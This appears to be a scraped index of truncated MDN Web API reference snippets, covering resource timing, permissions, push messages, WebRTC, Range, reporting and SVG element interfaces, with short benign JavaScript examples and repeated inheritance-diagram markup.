... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var va...
PerformanceResourceTiming.domainLookupStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.encodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged.
...edbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'encodedbodysize' in that specification.
PerformanceResourceTiming.fetchStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.redirectEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.redirectStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.requestStart - Web APIs
syntax resource.requeststart; return value a domhighrestimestamp representing the time immediately before the browser starts requesting the resource from the server example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.responseEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.responseStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.secureConnectionStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.transferSize - Web APIs
example the following example, the value of size properties of all "resource" type events are logged.
...edbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'transfersize' in that specification.
PermissionStatus.onchange - Web APIs
the onchange event handler of the permissionstatus interface is called whenever the permissionstatus.state property changes.
...} permissionstatus.addeventlistener('change', function() { ...
PermissionStatus - Web APIs
the permissionstatus interface of the permissions api provides the state of an object and an event handler for monitoring changes to said state.
... event handler permissionstatus.onchange an event called whenever permissionstatus.status changes.
Using the Permissions API - Web APIs
this object will eventually include methods for querying, requesting, and revoking permissions, although currently it only contains permissions.query(); see below.
... responding to permission state changes you'll notice that there is an onchange event handler in the code above, attached to the permissionstatus object — this allows us to respond to any changes in the permission status for the api we are interested in.
ProcessingInstruction - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 10%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ink:href="/docs/web/api/processinginstruction" target="_top"><rect x="436" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
PushManager.subscribe() - Web APIs
example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
... console.log(error); } ); }); responding to user gestures subscribe() calls should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { serviceworkerregistration.pushmanager.subscribe(options) .then(function(pushsubscription) { // handle subscription }); }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
PushMessageData.arrayBuffer() - Web APIs
syntax var myarraybuffer = pushevent.data.arraybuffer(); parameters none.
... examples self.addeventlistener('push', function(event) { var buffer = event.data.arraybuffer(); // do something with your array buffer }); specifications specification status comment push apithe definition of 'arraybuffer()' in that specification.
PushMessageData.blob() - Web APIs
syntax var myblob = pushevent.data.blob(); parameters none.
... examples self.addeventlistener('push', function(event) { var blob = event.data.blob(); // do something with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification.
PushMessageData.text() - Web APIs
syntax var mytext = pushevent.data.text(); parameters none.
... examples self.addeventlistener('push', function(event) { var textobj = event.data.text(); // do something with your text }); specifications specification status comment push apithe definition of 'text()' in that specification.
RTCConfiguration.iceTransportPolicy - Web APIs
this can be used to prevent the remote endpoint from receiving the user's ip addresses, which may be important in some security situations.
... for example, in a video calling application, the app may want to prevent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call.
RTCIceCandidatePair - Web APIs
example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair.
... var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair' in that specification.
RTCPeerConnection.addIceCandidate() - Web APIs
// this example assumes that the other peer is using a signaling channel as follows: // // pc.onicecandidate = event => { // if (event.candidate) { // signalingchannel.send(json.stringify({ice: event.candidate})); // "ice" is arbitrary // } else { // // all ice candidates have been sent // } // } signalingchannel.onmessage = receivedstring => { const message = json.parse(receivedstring); if (message.ice) { // a typical value of ice here might look something like this: // // {candi...
...out of interest, end-of-candidates may be manually indicated as follows: pc.addicecandidate({candidate:''}); however, in most cases you won't need to look for this explicitly, since the events driving the rtcpeerconnection will deal with it for you, sending the appropriate events.
RTCPeerConnection.iceGatheringState - Web APIs
you can detect when the value of this property changes by watching for an event of type icegatheringstatechange.
...you can detect when this value changes by watching for an event of type icegatheringstatechange.
RTCPeerConnection.removeStream() - Web APIs
if the signalingstate is set to "stable", the event negotiationneeded is sent on the rtcpeerconnection.
... example var pc, videostream; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); videostream = stream; pc.addstream(stream); } document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removestream(videostream); pc.close(); }, false); ...
RTCPeerConnection.removeTrack() - Web APIs
a negotiationneeded event is sent to the rtcpeerconnection to let the local end know this negotiation must occur.
... var pc, sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
RTCRtpTransceiver.stop() - Web APIs
the receiver then stops receiving media; the receiver's track is stopped, and the transceiver's direction is changed to stopped, and renegotiation is triggered by sending a negotiationneeded event to the rtcpeerconnection.
... note: stopping the transceiver causes a negotiationneeded event to be sent to the transceiver's rtcpeerconnection, so the connection can adapt to the change.
Range.cloneContents() - Web APIs
event listeners added using dom events are not copied during cloning.
... html attribute events are duplicated as they are for the dom core clonenode method.
Range.commonAncestorContainer - Web APIs
syntax rangeancestor = range.commonancestorcontainer; example in this example, we create an event listener to handle pointerup events on a list.
... .highlight { animation: highlight linear 1s; } @keyframes highlight { from { outline: 1px solid #f00f; } to { outline: 1px solid #f000; } } body { padding: 1px; } javascript document.addeventlistener('pointerup', e => { const selection = window.getselection(); if (selection.type === 'range') { for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); playanimation(range.commonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.classlist.remove('highl...
Report - Web APIs
WebAPIReport
events this interface has no events that fire on it.
...red: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
ReportingObserver - Web APIs
events this interface has no events that fire on it.
...d inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediadevices.getusermedia(): if(navigator.mozgetusermedia) { navigator.mozgetusermedia( constraints, success, failure); } else { navigator.getusermedia( constraints, success, failure); } this causes a deprecation report to be generated; because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
Request.mode - Web APIs
WebAPIRequestmode
no-cors — prevents the method from being anything other than head, get or post, and the headers from being anything other than simple headers.
...this ensures that serviceworkers do not affect the semantics of the web and prevents security and privacy issues arising from leaking data across domains.
Resize Observer API - Web APIs
to achieve this, a limited solution would be to listen to changes to a suitable event that hints at the element you are interested in changing size (e.g.
... the window resize event), then figure out what the new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example.
Resource Timing API - Web APIs
the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, dns lookup start and end times, request start, response start and end times, etc.
...if the resource is loaded via a secure connection a secureconnectionstart timestamp will be available between the connection start and end events.
SVGAnimateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..."/><a xlink:href="/docs/web/api/svganimateelement" target="_top"><rect x="81" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGAnimateMotionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...href="/docs/web/api/svganimatemotionelement" target="_top"><rect x="21" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="136" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatemotionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGAnimateTransformElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../docs/web/api/svganimatetransformelement" target="_top"><rect x="-9" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatetransformelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGAnimationElement.onbegin - Web APIs
the svganimationelement.onbegin property refers to the event handler for the beginevent.
... syntax var begineventhandler = someelement.onbegin; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onbegin' in that specification.
SVGAnimationElement.onend - Web APIs
the svganimationelement.onend property refers to the event handler for the endevent.
... syntax var endeventhandler = someelement.onend; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onend' in that specification.
SVGAnimationElement.onrepeat - Web APIs
the svganimationelement.onrepeat property refers to the event handler for the repeatevent.
... syntax var repeateventhandler = someelement.onrepeat; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onrepeat' in that specification.
SVGCircleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2=...
..."/><a xlink:href="/docs/web/api/svgcircleelement" target="_top"><rect x="-119" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-39" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcircleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement.
SVGClipPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/svgclippathelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgclippathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
SVGComponentTransferFunctionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...mponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomponenttransfer_type_unknown 0 the type is not one of predefined types.
SVGCursorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgcursorelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcursorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement, and implements properties from svgurireference.
SVGDefsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgdefselement" target="_top"><rect x="121" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdefselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggraphicselement.
SVGDescElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgdescelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdescelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement.
SVGEllipseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...><a xlink:href="/docs/web/api/svgellipseelement" target="_top"><rect x="-129" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgellipseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svggeometryelement.
SVGFEBlendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/svgfeblendelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeblendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_feblend_mode_unknown 0 the type is not one of predefined types.
SVGFEColorMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ref="/docs/web/api/svgfecolormatrixelement" target="_top"><rect x="251" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecolormatrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecolormatrix_type_unknown 0 the type is not one of predefined types.
SVGFEComponentTransferElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...eb/api/svgfecomponenttransferelement" target="_top"><rect x="191" y="65" width="290" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecomponenttransferelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes.
SVGFECompositeElement - Web APIs
